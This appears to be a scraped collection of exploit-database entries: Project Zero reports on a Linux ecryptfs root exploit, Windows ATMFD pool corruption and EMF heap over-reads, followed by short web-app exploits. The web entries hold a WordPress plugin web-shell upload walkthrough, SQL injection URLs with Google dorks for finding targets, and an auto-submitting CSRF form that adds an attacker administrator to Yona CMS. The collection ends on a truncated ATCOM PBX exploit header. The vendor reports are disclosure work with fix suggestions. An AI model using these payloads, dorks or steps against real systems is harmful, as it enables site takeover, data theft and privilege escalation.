(e.g. Ubuntu if the "encrypt my home directory" checkbox is ticked
during installation), this bug can be triggered by an unprivileged
user. The mount helper considers /proc/$pid, where $pid is the PID of
a process owned by the user, to be a valid mount source because the
directory is "owned" by the user.

I have attached both a generic crash PoC and a build-specific exploit
that can be used to gain root privileges from a normal user account on
Ubuntu 16.04 with kernel package linux-image-4.4.0-22-generic, version
4.4.0-22.40, uname "Linux user-VirtualBox 4.4.0-22-generic #40-Ubuntu
SMP Thu May 12 22:03:46 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux".

dmesg output of the crasher:

```
[   80.036069] BUG: unable to handle kernel paging request at fffffffe4b9145c0
[   80.040028] IP: [<ffffffff810c9a33>] cpuacct_charge+0x23/0x40
[   80.040028] PGD 1e0d067 PUD 0 
[   80.040028] Thread overran stack, or stack corrupted
[   80.040028] Oops: 0000 [#1] SMP 
[   80.040028] Modules linked in: vboxsf drbg ansi_cprng xts gf128mul dm_crypt snd_intel8x0 snd_ac97_codec ac97_bus snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi vboxvideo snd_seq ttm snd_seq_device drm_kms_helper snd_timer joydev drm snd fb_sys_fops soundcore syscopyarea sysfillrect sysimgblt vboxguest input_leds i2c_piix4 8250_fintek mac_hid serio_raw parport_pc ppdev lp parport autofs4 hid_generic usbhid hid psmouse ahci libahci e1000 pata_acpi fjes video
[   80.040028] CPU: 0 PID: 2135 Comm: crasher Not tainted 4.4.0-22-generic #40-Ubuntu
[   80.040028] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[   80.040028] task: ffff880035443200 ti: ffff8800d933c000 task.ti: ffff8800d933c000
[   80.040028] RIP: 0010:[<ffffffff810c9a33>]  [<ffffffff810c9a33>] cpuacct_charge+0x23/0x40
[   80.040028] RSP: 0000:ffff88021fc03d70  EFLAGS: 00010046
[   80.040028] RAX: 000000000000dc68 RBX: ffff880035443260 RCX: ffffffffd933c068
[   80.040028] RDX: ffffffff81e50560 RSI: 000000000013877a RDI: ffff880035443200
[   80.040028] RBP: ffff88021fc03d70 R08: 0000000000000000 R09: 0000000000010000
[   80.040028] R10: 0000000000002d4e R11: 00000000000010ae R12: ffff8802137aa200
[   80.040028] R13: 000000000013877a R14: ffff880035443200 R15: ffff88021fc0ee68
[   80.040028] FS:  00007fbd9fadd700(0000) GS:ffff88021fc00000(0000) knlGS:0000000000000000
[   80.040028] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   80.040028] CR2: fffffffe4b9145c0 CR3: 0000000035415000 CR4: 00000000000006f0
[   80.040028] Stack:
[   80.040028]  ffff88021fc03db0 ffffffff810b4b83 0000000000016d00 ffff88021fc16d00
[   80.040028]  ffff880035443260 ffff8802137aa200 0000000000000000 ffff88021fc0ee68
[   80.040028]  ffff88021fc03e30 ffffffff810bb414 ffff88021fc03dd0 ffff880035443200
[   80.040028] Call Trace:
[   80.040028]  <IRQ> 
[   80.040028]  [<ffffffff810b4b83>] update_curr+0xe3/0x160
[   80.040028]  [<ffffffff810bb414>] task_tick_fair+0x44/0x8e0
[   80.040028]  [<ffffffff810b1267>] ? sched_clock_local+0x17/0x80
[   80.040028]  [<ffffffff810b146f>] ? sched_clock_cpu+0x7f/0xa0
[   80.040028]  [<ffffffff810ad35c>] scheduler_tick+0x5c/0xd0
[   80.040028]  [<ffffffff810fe560>] ? tick_sched_handle.isra.14+0x60/0x60
[   80.040028]  [<ffffffff810ee961>] update_process_times+0x51/0x60
[   80.040028]  [<ffffffff810fe525>] tick_sched_handle.isra.14+0x25/0x60
[   80.040028]  [<ffffffff810fe59d>] tick_sched_timer+0x3d/0x70
[   80.040028]  [<ffffffff810ef282>] __hrtimer_run_queues+0x102/0x290
[   80.040028]  [<ffffffff810efa48>] hrtimer_interrupt+0xa8/0x1a0
[   80.040028]  [<ffffffff81052fa8>] local_apic_timer_interrupt+0x38/0x60
[   80.040028]  [<ffffffff81827d9d>] smp_apic_timer_interrupt+0x3d/0x50
[   80.040028]  [<ffffffff81826062>] apic_timer_interrupt+0x82/0x90
[   80.040028]  <EOI> 
[   80.040028] Code: 0f 1f 84 00 00 00 00 00 66 66 66 66 90 48 8b 47 08 48 8b 97 78 07 00 00 55 48 63 48 10 48 8b 52 60 48 89 e5 48 8b 82 b8 00 00 00 <48> 03 04 cd 80 42 f3 81 48 01 30 48 8b 52 48 48 85 d2 75 e5 5d 
[   80.040028] RIP  [<ffffffff810c9a33>] cpuacct_charge+0x23/0x40
[   80.040028]  RSP <ffff88021fc03d70>
[   80.040028] CR2: fffffffe4b9145c0
[   80.040028] fbcon_switch: detected unhandled fb_set_par error, error code -16
[   80.040028] fbcon_switch: detected unhandled fb_set_par error, error code -16
[   80.040028] ---[ end trace 616e3de50958c35b ]---
[   80.040028] Kernel panic - not syncing: Fatal exception in interrupt
[   80.040028] Shutting down cpus with NMI
[   80.040028] Kernel Offset: disabled
[   80.040028] ---[ end Kernel panic - not syncing: Fatal exception in interrupt
```

example run of the exploit, in a VM with 4 cores, with Ubuntu 16.04 installed:

```
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ls
compile.sh  exploit.c  hello.c  suidhelper.c
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ./compile.sh 
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ls
compile.sh  exploit  exploit.c  hello  hello.c  suidhelper  suidhelper.c
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ./exploit
all spammers ready
recurser parent ready
spam over
fault chain set up, faulting now
writing stackframes
stackframes written
killing 2494
post-corruption code is alive!
children should be dead
coredump handler set. recurser exiting.
going to crash now
suid file detected, launching rootshell...
we have root privs now...
root@user-VirtualBox:/proc# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)
```

(If the exploit crashes even with the right kernel version, try
restarting the machine. Also, ensure that no program like top/htop/...
is running that might try to read process command lines. Note that
the PoC and the exploit don't really clean up after themselves and
leave mountpoints behind that prevent them from re-running without
a reboot or manual unmounting.)

Note that Ubuntu compiled their kernel with
CONFIG_SCHED_STACK_END_CHECK turned on, making it harder than it used
to be in the past to not crash the kernel while exploiting this bug,
and an overwrite of addr_limit would be useless because at the
time the thread_info is overwritten, there are multiple instances of
kernel_read() on the stack. Still, the bug is exploitable by carefully
aligning the stack so that the vital components of thread_info are
preserved, stopping with an out-of-bounds stack pointer and
overwriting the thread stack using a normal write to an adjacent
allocation of the buddy allocator.

Regarding the fix, I think the following would be reasonable:

 - Explicitly forbid stacking anything on top of procfs by setting its
   s_stack_depth to a sufficiently large value. In my opinion, there
   is too much magic going on inside procfs to allow stacking things
   on top of it, and there isn't any good reason to do it. (For
   example, ecryptfs invokes open handlers from a kernel thread
   instead of normal user process context, so the access checks inside
   VFS open handlers are probably ineffective - and procfs relies
   heavily on those.)

 - Forbid opening files with f_op->mmap==NULL through ecryptfs. If the
   lower filesystem doesn't expect to be called in pagefault-handling
   context, it probably shouldn't be called in that context.

 - Create a dedicated kernel stack cache outside of the direct mapping
   of physical memory that has a guard page (or a multi-page gap) at
   the bottom of each stack, and move the struct thread_info to a
   different place (if nothing else works, the top of the stack, above
   the pt_regs).
   While e.g. race conditions are more common than stack overflows in
   the Linux kernel, the whole vulnerability class of stack overflows
   is easy to mitigate, and the kernel is sufficiently complicated for
   unbounded recursion to emerge in unexpected places - or perhaps
   even for someone to discover a way to create a stack with a bounded
   length that is still too high. Therefore, I believe that guard
   pages are a useful mitigation.
   Nearly everywhere, stack overflows are caught using guard pages
   nowadays; this includes Linux userland, but also {### TODO ###}
   and, on 64-bit systems, grsecurity (using GRKERNSEC_KSTACKOVERFLOW).

Oh, and by the way: The `BUG_ON(task_stack_end_corrupted(prev))`
in schedule_debug() ought to be a direct panic instead of an oops. At
the moment, when you hit it, you get a recursion between the scheduler
invocation in do_exit() and the BUG_ON in the scheduler, and the
kernel recurses down the stack until it hits something sufficiently
important to cause a panic.

I'm going to send (compile-tested) patches for my first two fix
suggestions and the recursive oops bug. I haven't written a patch for
the guard pages mitigation - I'm not familiar enough with the x86
subsystem for that.


Notes regarding the exploit:

It makes an invalid assumption that causes it to require at least around 6GB of RAM.

It has a trivially avoidable race that causes it to fail on single-core systems after overwriting the coredump handler; if this happens, it's still possible to manually trigger a coredump and execute the suid helper to get a root shell.

The page spraying is pretty primitive and racy; while it works reliably for me, there might be influencing factors that cause it to fail on other people's machines.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39992.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=785

The Adobe Type Manager Font Driver (ATMFD.DLL) responsible for handling PostScript and OpenType fonts in the Windows kernel provides a channel of communication with user-mode applications via an undocumented gdi32!NamedEscape API call. The nature of the channel is similar to IOCTLs [1] of type METHOD_BUFFERED [2], in that it also uses a 32-bit escape code (equivalent to control codes in IOCTL), and input and output buffers employed to pass data to the driver and receive information back. We suspect that this little known interface was originally designed to be more universal, but since ATMFD has remained the only third-party font driver in Windows for the past two decades, in reality it can only be used to interact with this single module.

Considering that there hasn't been any public research into the security of ATMFD's NamedEscape handlers, it is likely that it hasn't been thoroughly audited since the creation of the code. The first public vulnerability disclosed in the interface was a 0-day pool corruption (stemming from a 16-bit signedness issue) discovered in Hacking Team's leaked data dump [3], and subsequently fixed by Microsoft in the MS15-077 bulletin [4]. That security issue motivated us to have a deeper look into the security posture of the code area.

The main hurdle in approaching the NamedEscape attack surface is that Microsoft provides no symbols or other debugging information for the ATMFD.DLL library via the Microsoft Symbol Server, which means that all functionality needs to be reverse-engineered from the ground up, with no hints available whatsoever. At least that was what we believed until recently, when we discovered that the user-mode counterpart of ATMFD is ATMLIB.DLL -- a legacy library rarely used by the operating system nowadays, but which comes with debug symbols and implements many of its features by making NamedEscape calls to the kernel-mode driver. This lead to the further discovery of the "Adobe Type Manager Software API for Windows 95 and Windows NT 4" [5] and "Adobe Type Manager Software API: Windows" [6] documents, which greatly helped us understand the semantics of most of the escape codes, some of the underlying structures and other specifics of the code.

All further analysis presented below is relevant to an ATMFD.DLL file found on Windows 7 32-bit, version 5.1.2.247, md5sum e85bed746bbddcd29ad63f6085e1ce78. The driver currently supports 13 different escape codes in the range of 0x2500 - 0x2514. The bug discussed in this report resides in the handler of code 0x250C, which we have named "ATMGetGlyphName", based on the observation of its behavior and how it is used in the ATMLIB!ATMGetGlyphListW function.

Since the execution flow down the call stack is quite complex before we can reach the vulnerable condition, let's briefly summarize the major stages of execution:

  1) The i/o buffer size is enforced to be exactly 48 bytes.
  2) The ATMGetGlyphName handler function (atmfd+0x1F12) locates the font object based on its kernel-mode address provided at offset 4 of the i/o buffer.
  3) The font is mapped into memory (?) by a function at atmfd+0x5AC6.
  4) More logic follows depending on whether the font is a PostScript or OpenType one. We have found the PostScript-specific logic to be uninteresting, so we'll follow the OpenType one.
  5) A function at atmfd+0xDF10 (we call it "FormatOpenTypeGlyphName") is called with a controlled 16-bit glyph index and a pointer to offset 8 of the i/o buffer (to copy the name there).
  6) In order to retrieve the actual glyph name from the .OTF file, another function at atmfd+0x1A2D6 is invoked, we call it "GetOpenTypeGlyphName".

Here, the interesting functionality begins. If the glyph id is between 0 and 390, the name is obtained from a hard-coded list of names. Otherwise, it is extracted from the .OTF file itself, by reading from the Name INDEX [7]. The core of the function is as follows (in pseudo-code):

--- cut ---
  PushMarkerToStack();

  int glyph_name_offset = ReadCFFEntryOffset(glyph_id);
  int next_glyph_name_offset = ReadCFFEntryOffset(glyph_id + 1);

  *pNameLength = next_glyph_name_offset - glyph_name_offset;

  EnsureBytesAreAvailable(next_glyph_name_offset - glyph_name_offset);

  PopMarkerFromStack();
--- cut ---

The function addresses are as follows:

  +-------------------------+---------------+
  |        Function         |    Address    |
  +-------------------------+---------------+
  | PushMarkerToStack       | inlined       |
  | ReadCFFEntryOffset      | atmfd+0x1994D |
  | EnsureBytesAreAvailable | atmfd+0x18D11 |
  | PopMarkerFromStack      | atmfd+0x18B34 |
  +-------------------------+---------------+

The code construct is consistent with the general Name INDEX structure, which is as follows:

  +---------+------------------+------------------------------------------------+
  |  Type   |       Name       |                  Description                   |
  +---------+------------------+------------------------------------------------+
  | Card16  | count            | Number of object stored in INDEX               |
  | OffSize | offSize          | Offset array element size                      |
  | Offset  | offset [count+1] | Offset array (from byte preceding object data) |
  | Card8   | data[<varies>]   | Object data                                    |
  +---------+------------------+------------------------------------------------+

In order to extract any data from an index, it is necessary to read the offset of the interesting entry, and the next one (to calculate the length), which is what the function does. What are the PushMarkerToStack and PopMarkerFromStack functions, though? As it turns out, the font object being operated on has a 16-element stack (each element 32-bit wide). The ATMFD.DLL file contains multiple assertion strings, which show that the stack is internally named "HeldDataKeys", the element counter is "nHeldDataKeys", and a special -1 value pushed on the stack is "MARK":

  "fSetPriv->HeldDataKeys[ fSetPriv->nHeldDataKeys-1] == MARK"
  "fSetPriv->nHeldDataKeys >= 0"
  "fSetPriv->nHeldDataKeys > 0"
  "fSetPriv->nHeldDataKeys < MAXHELDDATAKEYS"

It is generally important for memory safety to never go beyond the bounds of the HeldDataKeys array, as doing otherwise would result in overwriting adjacent fields of the font object structure, or adjacent pool allocations. Therefore, management of the nHeldDataKeys field must be performed very carefully. It appears to be safe in the GetOpenTypeGlyphName function, as only one element is pushed and subsequently popped.

However, if we have a look into the EnsureBytesAreAvailable function, it turns out that if more bytes are requested than are found in the CFF table of the .OTF file, then an exception is generated and handled internally in the routine. One of the actions taken during the handling of the exception is a call to a function at atmfd+0x18C05, which pops all data from the stack until and including the first occurrence of -1. Since another element is also unconditionally popped at the end of GetOpenTypeGlyphName, two elements are popped for just one pushed, which corrupts the state of the nHeldDataKeys field and makes it possible to set it to a negative value.

In this specific case, we fully control the Name INDEX being used. Since it is possible to set the offset size to 4 bytes (through the offSize field mentioned above), we can fully control both 32-bit return values of the ReadCFFEntryOffset calls, and thus also their difference, which is passed as an argument to EnsureBytesAreAvailable.

In the simplest scenario, triggering the vulnerability in ATMGetGlyphName indefinitely will decrement the nHeldDataKeys field one by one, and overwrite earlier and earlier DWORDs on the pool with 0xffffffff (starting with the font object itself, and then moving onto adjacent pool allocations). This is sufficient to demonstrate pool corruption and a system crash; however, it is also possible to maintain a higher degree of control over what is written to the out-of-bounds memory region, by invoking other escape handlers which push more than just the marker, once nHeldDataKeys is already adjusted to where we want to write. This should enable easier and more reliable exploitation.

Another potential obstacle in exploitation could be the fact that the font being operated on must be identified by its kernel-mode address. In practice, however, this is not a problem, as the address can be quickly brute-forced by testing addresses nearby the addresses of other GDI objects (whose locations are available to user-mode programs). This technique was used in the HackingTeam exploit for escape 0x2514. To make it even simpler, the provided proof-of-concept code just brute-forces the entire 32-bit kernel address space, which only takes a few seconds to locate the font object and trigger the bug.

If we start an exploit which triggers the vulnerability 100 times on a system with Special Pools enabled, we should observe the following or similar bugcheck:

--- cut ---
  SPECIAL_POOL_DETECTED_MEMORY_CORRUPTION (c1)
  Special pool has detected memory corruption.  Typically the current thread's
  stack backtrace will reveal the guilty party.
  Arguments:
  Arg1: fe67ef50, address trying to free
  Arg2: fe67ee28, address where bits are corrupted
  Arg3: 006fa0b0, (reserved)
  Arg4: 00000023, caller is freeing an address where nearby bytes within the same page have been corrupted

  Debugging Details:
  ------------------

  [...]

  BUGCHECK_STR:  0xC1_23

  SPECIAL_POOL_CORRUPTION_TYPE:  23

  DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

  PROCESS_NAME:  csrss.exe

  CURRENT_IRQL:  2

  LAST_CONTROL_TRANSFER:  from 82930dd7 to 828cc318

  STACK_TEXT:  
  9f4963e4 82930dd7 00000003 c453df12 00000065 nt!RtlpBreakWithStatusInstruction
  9f496434 829318d5 00000003 fe67e000 fe67ee28 nt!KiBugCheckDebugBreak+0x1c
  9f4967f8 82930c74 000000c1 fe67ef50 fe67ee28 nt!KeBugCheck2+0x68b
  9f496818 82938b57 000000c1 fe67ef50 fe67ee28 nt!KeBugCheckEx+0x1e
  9f49683c 8293963d fe67ef50 fe67e000 fe67ef50 nt!MiCheckSpecialPoolSlop+0x6e
  9f49691c 82973b90 fe67ef50 00000000 fe67ef50 nt!MmFreeSpecialPool+0x15b
  9f496984 96a609cc fe67ef50 00000000 fe67ef60 nt!ExFreePoolWithTag+0xd6
  9f496998 96b44ec1 fe67ef60 09fe969f 00000000 win32k!VerifierEngFreeMem+0x5b
  WARNING: Stack unwind information not available. Following frames may be wrong.
  9f4969cc 96b43850 fe67ef68 09fe9553 00000000 ATMFD+0x14ec1
  9f496a00 96b329ab 9f496a24 96b4a736 96b6f024 ATMFD+0x13850
  9f496a08 96b4a736 96b6f024 fe744fc0 fe63ccf8 ATMFD+0x29ab
  9f496a24 96b41516 fe744fb0 09fe952f fe63ccf8 ATMFD+0x1a736
  9f496a7c 96b377e0 09fe95e7 96a60c8e 9f496b40 ATMFD+0x11516
  9f496ab4 96b34196 09fe95b7 96a60c8e 9f496b40 ATMFD+0x77e0
  9f496ae4 969ce0a1 fde3a898 fde3a898 9f496b80 ATMFD+0x4196
  9f496b1c 969ce2c4 fde3a898 fde3a898 00000000 win32k!PDEVOBJ::DestroyFont+0x67
  9f496b4c 96954607 00000000 00000000 00000001 win32k!RFONTOBJ::vDeleteRFONT+0x33
  9f496b74 969561fe 9f496b98 fde3a898 00000000 win32k!PUBLIC_PFTOBJ::bLoadFonts+0x6fb
  9f496ba4 96a1fcc4 00000001 ffbbc234 89a3f7f0 win32k!PFTOBJ::bUnloadWorkhorse+0x114
  9f496bcc 96a29ae9 9f496c58 0000002b 00000001 win32k!GreRemoveFontResourceW+0xa0
  9f496d14 8288ea16 00319768 0000002b 00000001 win32k!NtGdiRemoveFontResourceW+0x111
  9f496d14 76dd70d4 00319768 0000002b 00000001 nt!KiSystemServicePostCall
  0022fca4 76de6113 76de5e20 00000020 00000028 ntdll!KiFastSystemCallRet
  0022fd84 76dd6078 00000000 00000000 00000090 ntdll!RtlpAllocateHeap+0xe68
  0022fe14 76de60e4 76de6113 76ec93f1 75957040 ntdll!ZwQueryInformationProcess+0xc
  003b0108 00000000 00000000 00000000 00000000 ntdll!RtlpAllocateHeap+0xab2
--- cut ---

One could wonder if this issue could be triggered directly from within Internet Explorer, via an embedded .OTF font file and an .EMF image containing EMR_NAMEDESCAPE records. One obvious problem is that the font object needs to be identified by its kernel-mode address, which neither the EMF file or even the JavaScript code running in the browser knows. On 64-bit platforms, this address would have to be leaked into JS, which is not a trivial task since the value is not typically stored in the heap, and therefore impossible without using another vulnerability (e.g. an arbitrary read from the GDI handle table). On 32-bit platforms, it could actually be feasible to simply brute-force the address, by including an EMR_NAMEDESCAPE-based exploit chain for every location possible. This, while theoretically feasible, would blow the size of the EMF up to the orders of hundreds of megabytes, making a practical attack unrealistic.

The other obstacle is some obscure reference counting problem with ATMFD. In order for the same object (which contains the HeldDataKeys stack) to persist between multiple calls to NamedEscape (which is what makes it possible to underflow the stack by more than 4 bytes), it is necessary to reference the font after loading it in the system, e.g. with functions such as TextOut() or GetTextMetrics(). However, Internet Explorer does not seem to interact with the font object in any way after loading it in the system, and since the loading itself takes place via a AddFontMemResourceEx API call, the font is private and non-enumerable, meaning that it is impossible to reference it except for the returned handle itself. Until now, we haven't found a way to trigger a large pool corruption from the context of a website, but it could still be possible.

Attached you can find a proof of concept program, which together with the specially crafted .OTF font demonstrates a local pool corruption.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.

References:
[1] https://msdn.microsoft.com/pl-pl/library/windows/desktop/aa363219%28v=vs.85%29.aspx
[2] https://msdn.microsoft.com/pl-pl/library/windows/hardware/ff565356%28v=vs.85%29.aspx
[3] https://bugs.chromium.org/p/project-zero/issues/detail?id=473
[4] https://technet.microsoft.com/library/security/ms15-077
[5] https://partners.adobe.com/public/developer/en/atm/5642.ATMWin95andNT.pdf
[6] https://partners.adobe.com/public/developer/en/atm/5073.ATM.API_Win.pdf
[7] https://partners.adobe.com/public/developer/en/font/5176.CFF.pdf


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39991.zip
HireHackking 
# Exploit Title: Wordpress Ultimate-Product-Catalog v3.8.6 Arbitrary file (RCE)
# Date: 2016-06-23
# Google Dork: Index of /wp-content/plugins/ultimate-product-catalogue/
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
# Vendor Homepage: http://www.EtoileWebDesign.com/
# plugin uri: http://www.etoilewebdesign.com/plugins/ultimate-product-catalog/
# Version: 3.8.6
# Tested on: windows 7 + Mozilla firefox. 
# Demo: https://youtu.be/FSRZlD3SVQc

====================
 DESCRIPTION
====================

An arbitrary file upload web vulnerability has been detected in the WordPress Ultimate Product Catalogue Plugin v3.8.6 and below.
The vulnerability allows remote attackers to upload arbitrary files within the wordpress upload directory if the plugin is premium version and the remote 
attacker have an especific account (contributor|editor|author|administrator) who can manage this plugin.

===================
 STEPS TO REPRODUCE
===================

1.- Go to "Custom fields" tab and add a new custom field with "type" file.
2.- Go to "Products" tab, Now you can see a new field with that you added previously.
3.- Select your php shell and save the product.
4.- Go to uri "http(s)://<wp-host>/<wp-path>/wp-content/uploads/upcp-product-file-uploads/<your-shell-name>" and enjoy.

================
 Vulnerable code
================
located in <upc-plugin-path>/Functions/Update_Admin-Databases.php` file, the function `UPCP_Handle_File_Upload` does not check for file extensions.

function UPCP_Handle_File_Upload($Field_Name) {
	..		
	if (!is_user_logged_in()) {exit();}
		/* Make sure that the file exists */ 	 	
		elseif (empty($_FILES[$Field_Name]['tmp_name']) || $_FILES[$Field_Name]['tmp_name'] == 'none') {
			$error = __('No file was uploaded here..', 'UPCP');
		}
		/* Move the file and store the URL to pass it onwards*/ 	 	
		else {				 
		 	  $msg .= $_FILES[$Field_Name]['name'];
			//for security reason, we force to remove all uploaded file
			$target_path = ABSPATH . 'wp-content/uploads/upcp-product-file-uploads/';
			//create the uploads directory if it doesn't exist
			if (!file_exists($target_path)) {
				  mkdir($target_path, 0777, true);
			}
			$target_path = $target_path . basename( $_FILES[$Field_Name]['name']); 
			if (!move_uploaded_file($_FILES[$Field_Name]['tmp_name'], $target_path)) {
				//if (!$upload = wp_upload_bits($_FILES["Item_Image"]["name"], null, file_get_contents($_FILES["Item_Image"]["tmp_name"]))) {
	 			  $error .= "There was an error uploading the file, please try again!";
			}
	...
}

?>

==========
 CREDITS
==========

Vulnerability discovered by:
	Joaquin Ramirez Martinez [i0akiN SEC-LABORATORY]
	joaquin.ramirez.mtz.lab[at]gmail[dot]com
	https://www.facebook.com/I0-security-lab-524954460988147/
	https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q


==========
time-line
==========

2015-08-08: vulnerability found
2016-06-21: Reported to vendor (No response)
2016-06-24: Public disclousure
===================================
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=757

As clearly visible in the EMF (Enhanced Metafile) image format specification ([MS-EMF]), there are multiple records which deal with DIBs (Device Independent Bitmaps). Examples of such records are EMR_ALPHABLEND, EMR_BITBLT, EMR_MASKBLT, EMR_PLGBLT, EMR_SETDIBITSTODEVICE, EMR_STRETCHBLT, EMR_STRETCHDIBITS, EMR_TRANSPARENTBLT, EMR_CREATEDIBPATTERNBRUSHPT, EMR_CREATEMONOBRUSH and EMR_EXTCREATEPEN.

The DIB format is relatively complex, since the headers and data itself may be interpreted in a number of ways depending on a combination of settings found in the headers. For example, various (de)compression algorithms can be applied to the data depending on the BITMAPINFOHEADER.biCompression field, and the image data can either be treated as RGB, or indexes into a color palette, depending on BITMAPINFOHEADER.biBitCount. The Windows API functions taking DIBs on input work under the assumption that the passed bitmap is valid, and particularly that there is enough memory in the image buffer to cover all picture pixels.

The EMF format essentially works as a proxy for GDI calls, and therefore the burden of a thorough DIB sanitization is on the underlying implementation. We have found the sanitization performed by a number of EMF record handlers in the gdi32.dll user-mode library to be insufficient, leading to heap-based out-of-bounds reads while parsing/loading the bitmap, and in some cases to a subsequent memory disclosure. Since the bugs are present in a core Windows library, all of its clients which allow the loading of arbitrary EMF images are affected. The severity is highest for software which makes it possible to recover the disclosed heap bytes, as an attacker could then steal secret information from the program's memory, or defeat the ASLR exploit mitigation mechanism to reliably take advantage of another vulnerability.

The DIB-embedding records follow a common scheme: they include four fields, denoting the offsets and lengths of the DIB header and DIB data, respectively (named offBmiSrc, cbBmiSrc, offBitsSrc, cbBitsSrc). A correct implementation should:

1) Verify that cbBmiSrc is within expected bounds, accounting for the DIB header, color palette etc.
2) Verify that the (offBmiSrc, offBmiSrc + cbBmiSrc) region resides within the record buffer's area.
3) Verify that cbBitsSrc is within expected bounds, and especially that it is larger or equal the expected number of bitmap bytes.
4) Verify that the (offBitsSrc, offBitsSrc + cbBitsSrc) region resides within the record buffer's area.

If any of the above steps is not executed correctly, it is possible for an attacker to craft an EMF file which causes gdi32.dll to attempt to create DIB objects based on out-of-bounds memory. As it turns out, many EMF record handlers fail to perform exhaustive sanitization. Our analysis was based on a 32-bit gdi32.dll file found in the C:\Windows\SysWOW64 directory on a fully patched Windows 7 operating system. The problems we have discovered are as follows:

--------------------------------------------------------------------------------
- MRALPHABLEND::bPlay
- MRBITBLT::bPlay
- MRMASKBLT::bPlay
- MRPLGBLT::bPlay
- MRSTRETCHBLT::bPlay
- MRTRANSPARENTBLT::bPlay
--------------------------------------------------------------------------------

Conditions (1) and (2) are not checked.

--------------------------------------------------------------------------------
- MRSETDIBITSTODEVICE::bPlay
--------------------------------------------------------------------------------

Condition (3) is not checked.

--------------------------------------------------------------------------------
- MRSTRETCHDIBITS::bPlay
--------------------------------------------------------------------------------

Conditions (1) and (3) are not checked.

--------------------------------------------------------------------------------
- MRSTRETCHDIBITS::bPlay
- MRCREATEMONOBRUSH::bPlay
- MREXTCREATEPEN::bPlay
--------------------------------------------------------------------------------

Conditions (1), (2), (3) and (4) are not checked.

Please note that seeing the general class of bugs and how widespread it is across various DIB-related EMF handlers, we only performed a cursory analysis to see which checks are missing from which functions. It is possible that there are more missing sanity checks in some of them that we haven't noted in the list above. We recommend performing a careful security audit of the handlers dealing with DIBs, to ensure they perform correct and complete sanitization of the input data.

In order to demonstrate that the bug is real and affects Internet Explorer (among other targets - Microsoft Office 2013 was also tested), we have hacked up a proof-of-concept EMF file, which includes a specially crafted EMR_STRETCHBLT record, which in turn contains a 8 bpp DIB, whose palette entries go beyond the record area. Each time the image is opened in Internet Explorer, it is displayed differently, as the garbage heap bytes beyond the allocated buffer change. Attached is also a screenshot of the proof of concept picture, as displayed by Internet Explorer 11 on Windows 7 when opened three times in a row.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39990.zip
HireHackking 
# Exploit Title: Joomla com_publisher component SQL Injection vulnerability
# Exploit Author: s0nk3y
# Date: 21-06-2016
# Software Link: http://extensions.joomla.org/extension/publisher-pro
# Category: webapps
# Version: All
# Tested on: Ubuntu 16.04

1. Description
Publisher Pro is the ultimate publishing platform for Joomla, turning your
site into a professional news portal or a magazine that people want to read!

2. Proof of Concept

Itemid Parameter Vulnerable To SQL Injection

http://server/index.php?option=com_publisher&view=issues&Itemid=[SQLI]&lang=en
HireHackking 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

Product -> OPAC KpwinSQL - SQL Injection
Date -> 6/24/2016
Author -> bRpsd
Skype: vegnox
Vendor HomePage -> http://www.kpsys.cz/
Product Download -> http://www.kpsys.cz/kpwinsql/demo.html
Product Version -> / All
SQL Version -> Firebird 1.5.3 
OS -> Win98SE, Me, NT, 2000, XP, 2003, Vista


Dork -> intitle:"WWW OPAC KpwinSQL"
Dork2 -> inurl:zaznam.php?detail_num=
Dork3 -> inurl:opacsql2_0

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@


File: zanzam.php
Parameter: detail_num



Test > http://localhost:8888/zaznam.php?detail_num=1'


Response:

24-06-2016 08:52:21: localhost: CHYBA: 2 WARNING: ibase_query(): Dynamic SQL Error SQL error code = -104 Unexpected end of command - line 1, column 40 :In: "C:\wwwopac\functions.php" (Line: 5462) : URL:"/zaznam.php?detail_num=1%27"Pri zpracovani pozadavku doslo k chybe, omlouvame se ...
HireHackking 
<!--
# Exploit Title: Yona CMS <= 1.3.x Remote Admin Add CSRF Exploit
# Exploit Author: s0nk3y
# Google Dork: -
# Date: 21/06/2016
# Vendor Homepage: http://yonacms.com
# Software Link: https://github.com/oleksandr-torosh/yona-cms/
# Version: 1.3.x
# Tested on: Ubuntu 16.04

Yona CMS is vulnerable to CSRF attack (No CSRF token in place) meaning
that if an admin user can be tricked to visit a crafted URL created by
attacker (via spear phishing/social engineering), a form will be submitted
to (http://localhost/admin/admin-user/add) that will add a
new user as administrator.
Once exploited, the attacker can login to the admin panel (
http://localhost/admin)
using the username and the password he posted in the form.

CSRF PoC Code
=============
-->

<form method="post" action="http://localhost/admin/admin-user/add">   
<input type="hidden" name="login" value="attacker"/>
<input type="hidden" name="email" value="attacker@email.com"/>
<input type="hidden" name="name" value="attacker"/>
<input type="hidden" name="role" value="admin"/>
<input type="hidden" name="password" value="attackerPassword"/>
<input type="hidden" name="active"/>
</form>
<script>
document.forms[0].submit();
</script>
HireHackking 
# Title: ATCOM PBX system , auth bypass exploit
# Author: i-Hmx
# contact : n0p1337@gmail.com
# Home : sec4ever.com
